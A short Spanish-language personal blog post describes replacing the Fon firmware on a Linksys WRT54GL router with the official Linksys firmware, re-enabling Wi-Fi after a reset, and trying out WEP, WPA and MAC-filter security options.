   Como ya he dicho, todo ha sido muy fácil. He ido a la web de Linksys, en la opción de descargas he seleccionado el modelo de mi router (WRT54GL) y me he descargado la única versión del firmware que he encontrado. Luego, desde la web de administración del router que proporciona Fon he actualizado el firmware simplemente eligiendo al archivo WRT54GL_4.30.5_US_code.bin que acababa de descargar. En unos poco segundos se ha enviado el archivo al router y después de esperar un minuto para que terminara de actualizarlo, listo. He accedido a la web de administración y...




   ...ya me he deshecho de Fon. Lo único que me ha costado más ha sido activar el Wifi. En la web de administración estaba activo pero ni el NetStumbler me detectaba la red ni el led del router parpadeaba. He hecho un reset del router con el botón trasero y listo, Wifi activado. Después de esto he estado trasteando un poco con las opciones de seguridad de la red, cifrado WEP, WPA, filtrado por MAC,...

   Pues listo, ya tengo mi router wifi preparado y sólo me queda tener línea de teléfono y contratar un acceso a internet para empezar a sacarle todo el partido posible.